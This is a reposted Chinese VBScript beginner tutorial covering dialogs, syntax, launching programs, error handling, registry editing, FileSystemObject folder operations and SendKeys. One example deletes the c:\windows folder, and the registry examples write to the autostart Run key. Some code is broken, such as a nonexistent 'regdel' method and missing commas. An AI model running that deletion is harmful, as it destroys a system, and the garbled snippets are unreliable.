




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
Vbs腳本編程簡(jiǎn)明教程之一
—為什么要使用Vbs?
在Windows中,學(xué)習(xí)計(jì)算機(jī)操作也許很簡(jiǎn)單,但是很多計(jì)算機(jī)工作是重復(fù)性勞動(dòng),例如你每周也許需要對(duì)一些計(jì)算機(jī)文件進(jìn)行復(fù)制、粘貼、改名、刪除,也許你每天啟動(dòng)計(jì)算機(jī)第一件事情就是打開(kāi)WORD,切換到你喜愛(ài)的輸入法進(jìn)行文本編輯,同時(shí)還要播放優(yōu)美的音樂(lè)給工作創(chuàng)造一個(gè)舒心的環(huán)境,當(dāng)然也有可能你經(jīng)常需要對(duì)文本中的某些數(shù)據(jù)進(jìn)行整理,把各式各樣的數(shù)據(jù)按照某種規(guī)則排列起來(lái)……。這些事情重復(fù)、瑣碎,使人容易疲勞。第三方軟件也許可以強(qiáng)化計(jì)算機(jī)的某些功能,但是解決這些重復(fù)勞動(dòng)往往事倍功半,我也嘗試過(guò)使用計(jì)算機(jī)語(yǔ)言編寫(xiě)程序來(lái)解決這些問(wèn)題,但是隨之而來(lái)的命令、語(yǔ)法、算法、系統(tǒng)框架和類庫(kù)常常讓我覺(jué)得這樣是否有必要,難道就是因?yàn)樨i毛比較難拔,所以我就要去學(xué)習(xí)機(jī)械,為自己設(shè)計(jì)一個(gè)拔豬毛機(jī)(?)嗎?Vbs是一種Windows腳本,它的全稱是:MicrosoftVisualBasicScriptEditon.(微軟公司可視化BASIC腳本版),VBS是VisualBasic的的一個(gè)抽象子集,是系統(tǒng)內(nèi)置的,用它編寫(xiě)的腳本代碼不能編譯成二進(jìn)制文件,直接由Windows系統(tǒng)執(zhí)行(實(shí)際是一個(gè)叫做宿主host的解釋源代碼并執(zhí)行),高效、易學(xué),但是大部分高級(jí)語(yǔ)言能干的事情,它基本上都具備,它可以使各種各樣的任務(wù)自動(dòng)化,可以使你從重復(fù)瑣碎的工作中解脫出來(lái),極大的提高工作效率。我個(gè)人認(rèn)為Vbs腳本其實(shí)就是一種計(jì)算機(jī)編程語(yǔ)言,但是由于缺少計(jì)算機(jī)程序設(shè)計(jì)語(yǔ)言中的部分要素,對(duì)于事件的描述能力較弱,所以稱為腳本,它最方便的地方就是提供了對(duì)COM對(duì)象的簡(jiǎn)便支持。那么什么是COM對(duì)象呢?我這樣理解,COM對(duì)象就是一些具有特定函數(shù)功能項(xiàng)程序模塊,他們一般以ocx或者dll作為擴(kuò)展名,你只要找到包含有你需要的功能的模塊文件,并在腳本中規(guī)范的引用,就可以實(shí)現(xiàn)特定的功能,也就是說(shuō)Vbs腳本就是調(diào)用現(xiàn)成的“控件”作為對(duì)象,用對(duì)象的屬性和方法實(shí)現(xiàn)目的,完全免去了編寫(xiě)代碼、設(shè)計(jì)算法等等麻煩。說(shuō)白了,我不是覺(jué)得拔豬毛麻煩么?我發(fā)覺(jué)xx機(jī)(比如真空離心器)有一個(gè)功能可以實(shí)現(xiàn)脫毛,ok,我把它拿來(lái)給豬脫毛。什么?大材小用?太浪費(fèi)資源了?天哪,那是計(jì)算機(jī)芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。最方便的是它甚至不需要專門(mén)的開(kāi)發(fā)環(huán)境,在你的計(jì)算機(jī)中,只要有notepad,就可以編寫(xiě)Vbs腳本了,并且可以直接執(zhí)行。Vbs腳本編程簡(jiǎn)明教程之二如何開(kāi)始第一個(gè)Vbs腳本?
就像多數(shù)計(jì)算機(jī)教程一樣,我們從“Hello
World!”程序開(kāi)始我們的練習(xí)。什么?不知道是什么意思?就是說(shuō)大部分的計(jì)算機(jī)程序設(shè)計(jì)教程開(kāi)篇入門(mén)都是編寫(xiě)一個(gè)小程序,執(zhí)行這個(gè)程序的結(jié)果就是在計(jì)算機(jī)的屏幕上或者dos窗口中顯示一行文字:Hello
World!好了,我們開(kāi)始吧。打開(kāi)你的“記事本”程序,在編輯窗口填寫(xiě):msgbox"HelloWorld!"然后用鼠標(biāo)單擊“文件”菜單,單擊“保存”,把“保存在”一欄設(shè)為桌面,在“文件名”一欄中填寫(xiě)kk.vbs,單擊“保存”就可以了。然后最小化“記事本”窗口,在桌面上尋找你剛剛保存的kk.vbs,然后雙擊。看到彈出的對(duì)話框了沒(méi)有,單擊“確定”,對(duì)話框消失了。難看了點(diǎn),不過(guò)確實(shí)是你編寫(xiě)的第一個(gè)腳本程序。說(shuō)明之一:上面的操作中,保存位置放在桌面,僅僅是為了執(zhí)行方便,你保存到其他的地方完全沒(méi)有問(wèn)題,只要你知道你保存在什么地方就可以了,什么?是廢話,自己保存的當(dāng)然知道保存在那里了。不,自己保存的文件自己找不到的人我見(jiàn)的多了去了。文件名你可以隨意填寫(xiě),不一定非要寫(xiě)kk,只要符合Windows的文件命名規(guī)則就可以了,但是擴(kuò)展名必須是vbs,什么?不知道什么是擴(kuò)展名?就是文件名中“.”后的那部分,簡(jiǎn)單說(shuō),就是vbs腳本文件命名時(shí)必須是:xxx.vbs,其中xxx你隨意。說(shuō)明之二:在記事本編輯窗口中寫(xiě)的這行是什么意思?Msgbox是VBS內(nèi)建的函數(shù),每一個(gè)函數(shù)都可以完成一定的功能,你只需要按照語(yǔ)法要求,在函數(shù)的相應(yīng)部分填寫(xiě)相應(yīng)的內(nèi)容就可以了,這部分內(nèi)容我們稱為參數(shù),當(dāng)然函數(shù)執(zhí)行的結(jié)果我們稱為返回值,一個(gè)函數(shù)可以有返回值也可以沒(méi)有,可以有參數(shù)也可以沒(méi)有。你不用了解函數(shù)是怎么運(yùn)作的,只要了解這個(gè)函數(shù)能干什么就行了。Msgbox語(yǔ)法:msgbox
"對(duì)話框內(nèi)容",,"對(duì)話框的標(biāo)題"你不妨用記事本打開(kāi)剛才的文件在編輯窗口中輸入:msgbox"HelloWorld!",,"系統(tǒng)提示"執(zhí)行一下,看看效果和位置。說(shuō)明之三:如果執(zhí)行失敗,看看你的標(biāo)點(diǎn)符號(hào),所有的標(biāo)點(diǎn)符號(hào)必須是在英文狀態(tài)下輸入的。當(dāng)然,這個(gè)腳本實(shí)在是太簡(jiǎn)單了,甚至連最簡(jiǎn)單的交互都沒(méi)有,所以你可以把腳本這樣修改一下:Dimnamename=Inputbox("請(qǐng)輸入你的名字:","名稱")Msgbox
name,,"您的名字是"保存執(zhí)行一下,看到彈出的對(duì)話框了么?填入你的名字,點(diǎn)確定,看到結(jié)果了嗎?說(shuō)明之一:第一句是定義變量,dim是定義變量的語(yǔ)句其格式為:dim變量1,變量2……,Vbs只有一種變量類型,所以不用聲明變量類型。系統(tǒng)會(huì)自動(dòng)分辨變量類型。說(shuō)明之二:inputbox是VBS內(nèi)建的函數(shù),可以接受輸入的內(nèi)容,其語(yǔ)法格式為:Inputbox("對(duì)話框內(nèi)容","對(duì)話框標(biāo)題")第二句的意思是接受用戶的輸入,并把輸入結(jié)果傳遞給變量name。好了,到此腳本基本的輸入輸出函數(shù)都有了,已經(jīng)可以完成一些比較簡(jiǎn)單的功能了,你可以編寫(xiě)一個(gè)簡(jiǎn)單的腳本,然后拷貝的“程序”—>“啟動(dòng)”中,然后重新啟動(dòng)計(jì)算機(jī)看看結(jié)果Vbs腳本編程簡(jiǎn)明教程之三Vbs的基本語(yǔ)法(牢記)
VBScript基礎(chǔ)知識(shí)一、變量1、所有單引號(hào)后面的內(nèi)容都被解釋為注釋。2、在VBScript中,變量的命名規(guī)則遵循標(biāo)準(zhǔn)的命名規(guī)則,需要注意的是:在VBScript中對(duì)變量、方法、函數(shù)和對(duì)象的引用是不區(qū)分大小寫(xiě)的。在申明變量時(shí),要顯式地申明一個(gè)變量,需要使用關(guān)鍵字DIm來(lái)告訴VBScript你要?jiǎng)?chuàng)建一個(gè)變量,并將變量名稱跟在其后。申明多個(gè)同類型變量,可以用逗號(hào)分隔。注意:VBScript中不允許在申明變量的時(shí)候同時(shí)給變量賦值。但是允許在一行代碼內(nèi)同時(shí)對(duì)兩個(gè)變量進(jìn)行賦值,中間用冒號(hào)分隔。3、你可以使用OptionExplicit來(lái)告訴宿主變量必須先聲明后使用。4、VBScript在定義時(shí)只有一種變量類型,在實(shí)際使用中需要使用類型轉(zhuǎn)換函數(shù)來(lái)將變量轉(zhuǎn)換成相應(yīng)的變量類型。Cbool函數(shù)將變量轉(zhuǎn)換成布爾值;Cbyte函數(shù)將變量轉(zhuǎn)換為0到255之間的整數(shù)。Ccur函數(shù)、Cdbl函數(shù)和Csng函數(shù)將變量轉(zhuǎn)換為浮點(diǎn)數(shù)值,前者只精確到小數(shù)點(diǎn)后四位,后兩者要更加精確,數(shù)值的范圍也要大的多。Cdate函數(shù)將變量轉(zhuǎn)換為日期值。Cint函數(shù)和Clng函數(shù)將變量轉(zhuǎn)換為整數(shù),后者的范圍比前者要大的多。Cstr函數(shù)將變量轉(zhuǎn)換為字符串。二、數(shù)組數(shù)組的定義與變量非常類似,只需要在變量后描述這個(gè)數(shù)組的個(gè)數(shù)和維數(shù)。需要注意的是:數(shù)組的下標(biāo)總是從0開(kāi)始,而以數(shù)組定義中數(shù)值減一結(jié)束。也就是說(shuō)你以要定義一個(gè)有十個(gè)數(shù)據(jù)的數(shù)組,將這樣書(shū)寫(xiě)代碼:dImarray(9),同樣,當(dāng)你要訪問(wèn)第五個(gè)元素時(shí),實(shí)際的代碼是array(4)。當(dāng)然,你可以通過(guò)不指定數(shù)組的個(gè)數(shù)和維數(shù)來(lái)申明動(dòng)態(tài)數(shù)組。等到數(shù)組的個(gè)數(shù)和維數(shù)固定后,使用關(guān)鍵字redim來(lái)改變數(shù)組。注意,在改變數(shù)組的大小時(shí),數(shù)組的數(shù)據(jù)會(huì)被破壞,使用關(guān)鍵字preserve來(lái)保護(hù)數(shù)據(jù)。例如:RedIm空格preserve空格array括號(hào)個(gè)數(shù)逗號(hào)維數(shù)括號(hào)三、操作符在VBScript運(yùn)算符中,加減乘除都是我們常用的符號(hào),乘方使用的是^,取模使用的Mod。在比較操作符中,等于、小于、大于、小于等于、大于等于都與我們常用的符號(hào)是一致的,而不等于是小于和大于連用。邏輯運(yùn)算符為:和操作—>AND
非操作—>NOT
或操作—>OR;你可以使用操作符+和操作符&來(lái)連接字符串,一般使用&操作符;另外還有一個(gè)比較特殊的操作符Is用來(lái)比較對(duì)象,例如按鈕對(duì)象,如果對(duì)象是同一類型,結(jié)果就是真,如果對(duì)象不是同一類型,結(jié)果就是假。四、條件語(yǔ)句主要有if……then語(yǔ)句和selectcase語(yǔ)句兩種形式在if……then語(yǔ)句中,其基本形式為:If
條件
then處理?xiàng)l件的語(yǔ)句;……Endif基本形式只能對(duì)單個(gè)條件進(jìn)行驗(yàn)證,如果有兩個(gè)條件,則需要在基本形式中添加單行語(yǔ)句else,如果還有更多的條件需要驗(yàn)證,則需要添加語(yǔ)句Elseif條件
then處理?xiàng)l件語(yǔ)句在selectcase語(yǔ)句中,其基本形式為:Select
case
變量Case
條件值處理?xiàng)l件語(yǔ)句并對(duì)上兩句進(jìn)行重復(fù)最后一句應(yīng)為case
else處理語(yǔ)句當(dāng)然不要忘記將條件結(jié)束語(yǔ)句End
select放在最后一行注意:在執(zhí)行字符串比較時(shí),需要特別注意大小寫(xiě),一般情況下,我們?cè)诒容^前,使用lcase函數(shù)將字符串轉(zhuǎn)換成小寫(xiě),使用ucase函數(shù)將字符串轉(zhuǎn)換成大寫(xiě)大寫(xiě)。五、循環(huán)控制語(yǔ)句循環(huán)控制語(yǔ)句有for……next循環(huán)、for……each循環(huán)、do……while循環(huán)、do……until循環(huán)、while循環(huán)五種形式。在使用循環(huán)控制語(yǔ)句前,首先要對(duì)循環(huán)條件進(jìn)行判斷,如果循環(huán)次數(shù)是有固定次數(shù)的,那么使用For……next循環(huán),其結(jié)構(gòu)為:For
計(jì)數(shù)器變量=開(kāi)始計(jì)數(shù)值
to
最后計(jì)數(shù)值執(zhí)行循環(huán)體Next如果是需要對(duì)數(shù)組或?qū)ο蠹现械拿恳粋€(gè)元素進(jìn)行判斷,則需要使用for……each循環(huán),其結(jié)構(gòu)為:For
each
循環(huán)計(jì)數(shù)變量
in
要查看的對(duì)象或數(shù)組執(zhí)行處理語(yǔ)句Next注意:在上述兩種循環(huán)中隨時(shí)可以使用exit
for來(lái)退出循環(huán)如果你希望在條件滿足時(shí)執(zhí)行一段代碼則使用do……while語(yǔ)句,結(jié)構(gòu)為:Do
while
條件執(zhí)行循環(huán)體Loop如果你希望在條件不滿足時(shí)執(zhí)行代碼,則使用do……until語(yǔ)句,結(jié)構(gòu)為:Dountil條件執(zhí)行循環(huán)體Loop當(dāng)然,在這兩種循環(huán)語(yǔ)句中,你可以使用exit
do來(lái)退出循環(huán)最后一種循環(huán)語(yǔ)句是條件滿足時(shí)一直執(zhí)行循環(huán),While
條件執(zhí)行循環(huán)體Wend六、使用過(guò)程常用的過(guò)程有兩種,一種為函數(shù),給調(diào)用者返回值,一種為子程序,無(wú)返回值,還有一種叫事件的特殊子程序,用的比較少。函數(shù)的基本定義方法為:Function
函數(shù)名稱(參數(shù)列表)函數(shù)代碼函數(shù)名稱=某值‘用來(lái)返回值end
function子程序一些都類似,不過(guò)沒(méi)有返回值注意:盡管在定義子程序的時(shí)候,參數(shù)列表要加括號(hào),但在調(diào)用子程序的時(shí)候,參數(shù)列表不加括號(hào),括號(hào)只在函數(shù)中使用。另外,子程序不能在表達(dá)式中使用。而函數(shù)只能出現(xiàn)在賦值語(yǔ)句的右邊,或者表達(dá)式中,函數(shù)不能直接使用,如果必須直接使用函數(shù),則必須使用call語(yǔ)句調(diào)用,并取消返回值。Vbs腳本編程簡(jiǎn)明教程之四如何利用Vbs運(yùn)行外部程序?
Vbs只提供了編程的一個(gè)基本框架,用戶可以使用Vbs來(lái)定義變量、過(guò)程和函數(shù),vbs也提供了一些內(nèi)部函數(shù)和對(duì)象,但是Vbs沒(méi)有提供任何命令來(lái)訪問(wèn)Windows系統(tǒng)內(nèi)部的部件,但是值得慶幸的是,Vbs雖然不能自己完成這些任務(wù),但是它提供了一條極為方便、功能也相當(dāng)強(qiáng)的命令——CreateObject,這條命令可以訪問(wèn)windows系統(tǒng)內(nèi)安裝的所有com對(duì)象,并且可以調(diào)用這些部件中存放的命令。于是問(wèn)題解決了,比如說(shuō),我手頭有1000個(gè)小文本,我首先要對(duì)每一個(gè)文本的語(yǔ)法進(jìn)行查錯(cuò)和修改,然后按照預(yù)先定義好的規(guī)則對(duì)這些文本進(jìn)行排序,最后將這些文本合并成為一個(gè)文件。正常情況下,我們需要把打開(kāi)第一個(gè)小文本,然后把它復(fù)制到WORD中,然后利用里面的除錯(cuò)功能進(jìn)行除錯(cuò)和修改,然后再導(dǎo)入到EXCEL中進(jìn)行排序,將這個(gè)過(guò)程重復(fù)1000遍,然后再將所有得到的文本復(fù)制到一個(gè)大文本中。實(shí)在是太枯燥、工作量太大了。有了Vbs和CreateObject,問(wèn)題得到解決,我只需要找到相應(yīng)的模塊,調(diào)用相應(yīng)的功能就可以了,作為腳本,把一個(gè)枯燥的過(guò)程重復(fù)1000次,本就是它的拿手好戲。好了,我們走入正題,從最簡(jiǎn)單的——只啟動(dòng)一個(gè)程序開(kāi)始。WSH也就是用來(lái)解析Vbs的宿主,本身包含了幾個(gè)個(gè)常用對(duì)象:1、Scripting.FileSystemObject
—>
提供一整套文件系統(tǒng)操作函數(shù)2、Scripting.Dictionary
—>
用來(lái)返回存放鍵值對(duì)的字典對(duì)象3、Wscript.Shell
—>
提供一套讀取系統(tǒng)信息的函數(shù),如讀寫(xiě)注冊(cè)表、查找指定文件的路徑、讀取DOS環(huán)境變量,讀取鏈接中的設(shè)置4、Wscript.NetWork
—>
提供網(wǎng)絡(luò)連接和遠(yuǎn)程打印機(jī)管理的函數(shù)。(其中,所有Scripting對(duì)象都存放在SCRRUN.DLL文件中,所有的Wscript對(duì)象都存放在WSHOM.ocx文件中。)現(xiàn)在我們需要的是第三個(gè)對(duì)象,好了,讓我們先連接一下對(duì)象看看,在記事本的編輯窗口中輸入:SetobjShell=CreateObject(“Wscript.Shell”)objShell.Run“notepad”同樣,保存執(zhí)行。那么看到了一個(gè)什么樣的結(jié)果呢?在桌面上又打開(kāi)了一個(gè)記事本。說(shuō)明之一:Set是Vbs指令,凡是將一對(duì)象引用賦給變量,就需要使用set關(guān)鍵字。那么什么是對(duì)象引用呢?凡是字符串、數(shù)值、布爾值之外的變量都是對(duì)象引用。Objshell是變量名,可以隨意修改。說(shuō)明之二:反是正確引用的對(duì)象,其本身內(nèi)置有函數(shù)和變量,其引用方法為在變量后加“.”,后緊跟其實(shí)現(xiàn)功能的函數(shù)就可以了。Objshell.run的意思就是調(diào)用Wscript.shell中的運(yùn)行外部程序的函數(shù)——run,notepad是記事本程序的文件名。當(dāng)然你也可以改成“calc”,這是計(jì)算器的文件名,winword是word的文件名,等等吧,所有可執(zhí)行文件的文件名都可以。但是需要注意的是,如果你要執(zhí)行的可執(zhí)行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑名,但是run在運(yùn)行解析時(shí),遇到空格會(huì)停止,解決的方法是使用雙引號(hào),例如:在我的機(jī)器上運(yùn)行qq,代碼為:objshell.run"""C:\ProgramFiles\QQ2006\QQ.exe"""
‘注:三個(gè)引號(hào)好,我們?cè)龠M(jìn)一步,啟動(dòng)兩個(gè)程序會(huì)如何呢?輸入如下代碼:SetobjShell=CreateObject(“Wscript.Shell”)objShell.Run“notepad”objShell.Run“calc”執(zhí)行會(huì)如何呢??jī)蓚€(gè)程序基本上同時(shí)啟動(dòng)了。如果我們需要先啟動(dòng)notepad再啟動(dòng)calc將如何呢?很簡(jiǎn)單在需要順序執(zhí)行的代碼后加,,True參數(shù)就可以了。好了輸入代碼:SetobjShell=CreateObject(“Wscript.Shell”)objShell.Run“notepad”,,trueobjShell.Run“calc”看看執(zhí)行的結(jié)果怎么樣吧!總結(jié):run函數(shù)有三個(gè)參數(shù),第一個(gè)參數(shù)是你要執(zhí)行的程序的路徑,第二個(gè)程序是窗口的形式,0是在后臺(tái)運(yùn)行;1表示正常運(yùn)行;2表示激活程序并且顯示為最小化;3表示激活程序并且顯示為最大化;一共有10個(gè)這樣的參數(shù)我只列出了4個(gè)最常用的。第三個(gè)參數(shù)是表示這個(gè)腳本是等待還是繼續(xù)執(zhí)行,如果設(shè)為了true,腳本就會(huì)等待調(diào)用的程序退出后再向后執(zhí)行。
其實(shí),run做為函數(shù),前面還有一個(gè)接受返回值的變量,一般來(lái)說(shuō)如果返回為0,表示成功執(zhí)行,如果不為0,則這個(gè)返回值就是錯(cuò)誤代碼,可以通過(guò)這個(gè)代碼找出相應(yīng)的錯(cuò)誤。Vbs腳本編程簡(jiǎn)明教程之五錯(cuò)誤處理
引發(fā)錯(cuò)誤的原因有很多,例如用戶輸入了錯(cuò)誤類型的值,或者腳本找不到必需的文件、目錄或者驅(qū)動(dòng)器,我們可以使用循環(huán)技術(shù)來(lái)處理錯(cuò)誤,但是VBS本身也提供了一些基本技術(shù)來(lái)進(jìn)行錯(cuò)誤的檢測(cè)和處理。1、最常見(jiàn)的錯(cuò)誤是運(yùn)行時(shí)錯(cuò)誤,也就是說(shuō)錯(cuò)誤在腳本正在運(yùn)行的時(shí)候發(fā)生,是腳本試圖進(jìn)行非法操作的結(jié)果。例如零被作為除數(shù)。在vbs中,任何運(yùn)行時(shí)錯(cuò)誤都是致命的,此時(shí),腳本將停止運(yùn)行,并在屏幕上顯示一個(gè)錯(cuò)誤消息。你可以在腳本的開(kāi)頭添加On
ErrorResume
Next
這行語(yǔ)句可以告訴vbs在運(yùn)行時(shí)跳過(guò)發(fā)生錯(cuò)誤的語(yǔ)句,緊接著執(zhí)行跟在它后面的語(yǔ)句。發(fā)生錯(cuò)誤時(shí),該語(yǔ)句將會(huì)把相關(guān)的錯(cuò)誤號(hào)、錯(cuò)誤描述和相關(guān)源代碼壓入錯(cuò)誤堆棧。2、雖然OnErrorResumeNext語(yǔ)句可以防止vbs腳本在發(fā)生錯(cuò)誤時(shí)停止運(yùn)行,但是它并不能真正處理錯(cuò)誤,要處理錯(cuò)誤,你需要在腳本中增加一些語(yǔ)句,用來(lái)檢查錯(cuò)誤條件并在錯(cuò)誤發(fā)生時(shí)處理它。vbscript提供了一個(gè)對(duì)象err對(duì)象,他有兩個(gè)方法clear,raise,5個(gè)屬性:description,helpcontext,helpfile,number,sourceerr對(duì)象不用引用實(shí)例,可以直接使用,例如:onerrorresumenexta=11b=0c=a/biferr.number<>0thenwscript.echoerr.number&err.description
&err.sourceendif
Vbs腳本編程簡(jiǎn)明教程之六修改注冊(cè)表
Vbs中修改注冊(cè)表的語(yǔ)句主要有:1、讀注冊(cè)表的關(guān)鍵詞和值:可以通過(guò)把關(guān)鍵詞的完整路徑傳遞給wshshell對(duì)象的regread方法。例如:setws=wscript.createobject("wscript.shell")v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")wscript.echov2、寫(xiě)注冊(cè)表使用wshshell對(duì)象的regwrite方法。例子:path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"setws=wscript.createobject("wscript.shell")t=ws.regwrite(path&"jj","hello")這樣就把HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj這個(gè)鍵值改成了hello.不過(guò)要注意:這個(gè)鍵值一定要預(yù)先存在。如果要?jiǎng)?chuàng)建一個(gè)新的關(guān)鍵詞,同樣也是用這個(gè)方法。path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"setws=wscript.createobject("wscript.shell")val=ws.regwrite(path,"nenboy")val=ws.regread(path)wscript.echoval
刪除關(guān)鍵字和值使用regdelete方法,把完整的路徑傳遞給regdelete就可以了例如val=ws.regdel(path)注意,如果要?jiǎng)h除關(guān)鍵詞的值的話一定要在路徑最后加上“\”,如果不加斜線,就會(huì)刪除整個(gè)關(guān)鍵詞。Vbs腳本編程簡(jiǎn)明教程之七FSO的常見(jiàn)對(duì)象和方法
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會(huì)需要對(duì)文件及文件夾進(jìn)行訪問(wèn)和管理,在Vbs中對(duì)桌面和文件系統(tǒng)進(jìn)行訪問(wèn)的頂級(jí)對(duì)象是FileSystemObject(FSO),這個(gè)對(duì)象特別復(fù)雜,是vbs進(jìn)行文件操作的核心。此節(jié)內(nèi)容應(yīng)了如指掌。FSO包含的常見(jiàn)對(duì)象有:Drive對(duì)象:包含儲(chǔ)存設(shè)備的信息,包括硬盤(pán)、光驅(qū)、ram盤(pán)、網(wǎng)絡(luò)驅(qū)動(dòng)器Drives集合:提供一個(gè)物理和邏輯驅(qū)動(dòng)器的列表File
對(duì)象:檢查和處理文件Files集合:提供一個(gè)文件夾中的文件列表Folder對(duì)象:檢查和處理文件夾Folders集合:提供文件夾中子文件夾的列表Textstream對(duì)象:讀寫(xiě)文本文件FSO的常見(jiàn)方法有:BulidPath:把文件路徑信息添加到現(xiàn)有的文件路徑上CopyFile:復(fù)制文件CopyFolder:復(fù)制文件夾CreateFolder:創(chuàng)建文件夾CreateTextFile:創(chuàng)建文本并返回一個(gè)TextStream對(duì)象DeleteFile:刪除文件DeleteFolder:刪除文件夾及其中所有內(nèi)容DriveExits:確定驅(qū)動(dòng)器是否存在FileExits:確定一個(gè)文件是否存在FolderExists:確定某文件夾是否存在GetAbsolutePathName:返回一個(gè)文件夾或文件的絕對(duì)路徑GetBaseName:返回一個(gè)文件或文件夾的基本路徑GetDrive:返回一個(gè)dreve對(duì)象GetDriveName:返回一個(gè)驅(qū)動(dòng)器的名字GetExtensionName:返回?cái)U(kuò)展名GetFile:返回一個(gè)file對(duì)象GetFileName:返回文件夾中文件名稱GetFolder:返回一個(gè)文件夾對(duì)象GetParentFolderName:返回一個(gè)文件夾的父文件夾GetSpecialFolder:返回指向一個(gè)特殊文件夾的對(duì)象指針GetTempName:返回一個(gè)可以被createtextfile使用的隨機(jī)產(chǎn)生的文件或文件夾的名稱MoveFile:移動(dòng)文件MoveFolder:移動(dòng)文件夾OpenTextFile:打開(kāi)一個(gè)存在的文件并返回一個(gè)TextStream對(duì)象Vbs腳本編程簡(jiǎn)明教程之八FSO中文件夾的基本操作
1、使用fso由于fso不是wsh的一部分,所以我們需要建立他的模型例如setfs=wscript.createobject(“scripting.filesystemobject”)這樣就建立了fso的模型。如果要釋放的話也很簡(jiǎn)單,setfs=nothing2、使用文件夾在創(chuàng)建前,我們一般需要檢查該文件夾是否存在例如:dimfs,s//定義fs、s兩個(gè)變量setfs=wscript.createobject(“scripting.filesystemobject”)//fs為FSO實(shí)例if(fs.folderexists(“c:\temp”))then//判斷c:\temp文件夾是否存在s=”isavailable”elses=”notexist”setfoldr=fs.createfolder(“c:\temp”)//不存在則建立endif
刪除:
setfs=wscript.createobject(“scripting.filesystemobject”)fs.deletefolder(“c:\windows”)
拷貝:setfs=wscript.createobject(“scripting.filesystemobject”)fs.copyfolder“c:\data”“d:\data”注意:如果c:\data和d:\data都存在,腳本會(huì)出錯(cuò),復(fù)制也就會(huì)停止,如果要強(qiáng)制覆蓋,使用fs.copyfolder“c:\data”“d:\data”,true
移動(dòng):
setfs=wscript.createobject(“scripting.filesystemobject”)fs.movefolder“c:\data”“d:\data”
我們可以使用統(tǒng)配符,來(lái)方便操作:例如,fs.movefolder:c:\data\te*”,“d:\working”注意:在目的路徑最后沒(méi)有使用“\”也就是說(shuō)我沒(méi)有這樣寫(xiě):fs.movefolderc:\data\te*”,“d:\working\”這樣寫(xiě)的話,如果d:\working目錄不存在,windows就不會(huì)為我們自動(dòng)創(chuàng)建這個(gè)目錄。
注意:上面我們所舉的例子都是在利用fso提供的方法,如果使用folder對(duì)象也完全是可以的:setfs=wscript.createobject(“scripting.filesystemobject”)setf=fs.getfolder(“c:\data”)f.delete
//刪除文件夾c:\data。如果有子目錄,也會(huì)被刪除f.copy“d:\working”,true
//拷貝到d:\workingf.move“d:\temp”
//移動(dòng)到d:\temp
3、特殊文件夾一般指的就是系統(tǒng)文件夾:\windows\system32,臨時(shí)文件夾,windows文件夾,在前幾篇的時(shí)候,我們提過(guò)一下:例如setfs=wscript.createobject(“scripting.filesystemobject”)setwshshell=wscript.createobject(“wscript.shell”)osdir=wshshell.expandenvironmentstrings(“%systemroot%”)setf=fs.getfolder(osdir)wscript.echof當(dāng)然,還有簡(jiǎn)單的方法那就是使用getspecialfolder()這個(gè)方法使用3種值:0
表示windows文件夾,相關(guān)常量是windowsfolder1
系統(tǒng)文件夾,相關(guān)常量是systemfolder2
臨時(shí)目錄,相關(guān)常量temporaryfolder例如:setfs=wscript.createobject(“scripting.filesystemobject”)setwfolder=fs.getspecialfolder(0)‘返回windows目錄setwfolder=fs.getspecialfolder(1)‘返回system32\setwfolder=fs.getspecialfolder(2)'返回臨時(shí)目錄Vbs腳本編程簡(jiǎn)明教程之九——1妙用SendKeys簡(jiǎn)化重復(fù)操作1
每次開(kāi)機(jī)的時(shí)候,你想自動(dòng)登陸你的QQ或者博客嗎?巧妙使用VBS中的SendKeys命令(這個(gè)命令的作用就是模擬鍵盤(pán)操作,將一個(gè)或多個(gè)按鍵指令發(fā)送到指定Windows窗口來(lái)控制應(yīng)用程序運(yùn)行),可以極大的方便我們的常用操作。其使用格式為:Object.SendKeysstring其中:Object:為WshShell對(duì)象,即腳本的第一行為:SetWshShell=WScript.CreateObject("WScript.Shell")
將Object替換為WshShell“string”:表示要發(fā)送的按鍵指令字符串,需要放在英文雙引號(hào)中。它包含如下內(nèi)容:1.基本鍵:一般來(lái)說(shuō),要發(fā)送的按鍵指令都可以直接用該按鍵字符本身來(lái)表示,例如要發(fā)送字母“x”,使用“WshShell.SendKeys"x"”即可。當(dāng)然,也可直接發(fā)送多個(gè)按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發(fā)送按鍵“cfan”,可以使用“WshShell.SendKeys"cfan"”。2.特殊功能鍵:對(duì)于需要與Shift、Ctrl、Alt三個(gè)控制鍵組合的按鍵,SendKeys使用特殊字符來(lái)表示:Shift
——
+;Ctrl
——
^;Alt
——
%如要發(fā)送的組合按鍵是同時(shí)按下Ctrl+E,需要用“WshShell.SendKeys"^e"”表示,如果要發(fā)送的組合按鍵是按住Ctrl鍵的同時(shí)按下E與C兩個(gè)鍵,這時(shí)應(yīng)使用小括號(hào)把字母鍵括起來(lái),書(shū)寫(xiě)格式為“WshShell.SendKeys"^(ec)"”,這里要注意它與“WshShell.SendKeys"^ec"”的區(qū)別,后者表示組合按鍵是同時(shí)按住Ctrl和E鍵,然后松開(kāi)Ctrl鍵,單獨(dú)按下“C”字母鍵。
